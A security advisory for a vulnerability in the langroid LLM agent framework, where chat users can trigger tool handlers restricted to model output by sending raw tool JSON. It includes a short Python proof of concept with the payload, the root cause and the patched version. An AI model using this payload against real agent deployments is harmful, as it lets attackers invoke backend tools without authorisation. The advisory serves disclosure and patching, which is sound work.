CVE-2026-54771: langroid Unauthorized Tool Invocation via User-Supplied JSON
A user chatting with a Langroid application can directly invoke backend tool handlers by sending raw JSON, bypassing the use=False restriction that developers expect to block end-user tool access.
The problem
Langroid lets developers register a tool with enable_message(..., use=False, handle=True) to allow the agent to handle a tool while preventing the LLM from being prompted to generate it. The intent is that only LLM-generated output can trigger the handler.
The bug is that handle_message(), called inside agent_response(), invokes get_tool_messages() without checking the sender identity. A message arriving from Entity.USER is parsed and dispatched exactly like one from Entity.LLM. Any user who can send a chat message can therefore invoke any registered handler directly, regardless of how the tool was configured.
Proof of concept
A working proof-of-concept for CVE-2026-54771 in langroid, with the exact payload below.
# Send this as a raw chat message to any Langroid app exposing the chat interface
# No LLM call needed. The agent_response() path executes the handler immediately.
from langroid.agent.chat_agent import ChatAgent, ChatAgentConfig
from langroid.agent.task import Task
from langroid.agent.tool_message import ToolMessage
from langroid.mytypes import Entity
class SecretTool(ToolMessage):
request: str = "secret_tool"
purpose: str = "Return a secret marker"
value: str
def handle(self) -> str:
return f"SECRET:{self.value}"
agent = ChatAgent(ChatAgentConfig())
agent.enable_message(SecretTool, use=False, handle=True) # LLM-only intent
task = Task(agent, interactive=False, done_if_response=[Entity.AGENT])
# Attacker sends tool JSON directly as the user message
result = task.run('{"request":"secret_tool","value":"pwned"}', turns=1)
print(result.content) # prints: SECRET:pwnedThe root cause is a missing sender check in the get_tool_messages() call path. Before the patch, get_formatted_tool_messages() was called unconditionally on any non-empty message content, regardless of whether msg.metadata.sender was Entity.LLM or Entity.USER.
The fix passes from_llm=msg.metadata.sender == Entity.LLM into get_formatted_tool_messages(), so tool JSON in a USER-origin message is no longer parsed into a dispatchable ToolMessage object. The patch is visible in langroid/agent/base.py in the current main branch.
CWE-74 (Injection) applies because downstream tool handler logic trusted unsanitized, attacker-controlled input without verifying its origin.
The fix
Upgrade to langroid >= 0.65.3. The single-line patch in langroid/agent/base.py adds the from_llm sender check to get_formatted_tool_messages(), so USER-origin messages are excluded from tool dispatch. No configuration change is needed after upgrading.
Related research
- criticalCVE-2026-55615CVE-2026-55615: langroid Neo4jChatAgent Prompt-to-Cypher Injection (RCE)
- criticalCVE-2026-54760CVE-2026-54760: langroid SQLChatAgent pg_read_file Blocklist Bypass
- high · 7.5CVE-2026-55404CVE-2026-55404: yt-dlp Shortcut File Injection Leading to Remote Code Execution
- high · 7GitPython: git-config section-name injection leads to core.sshCommand RCE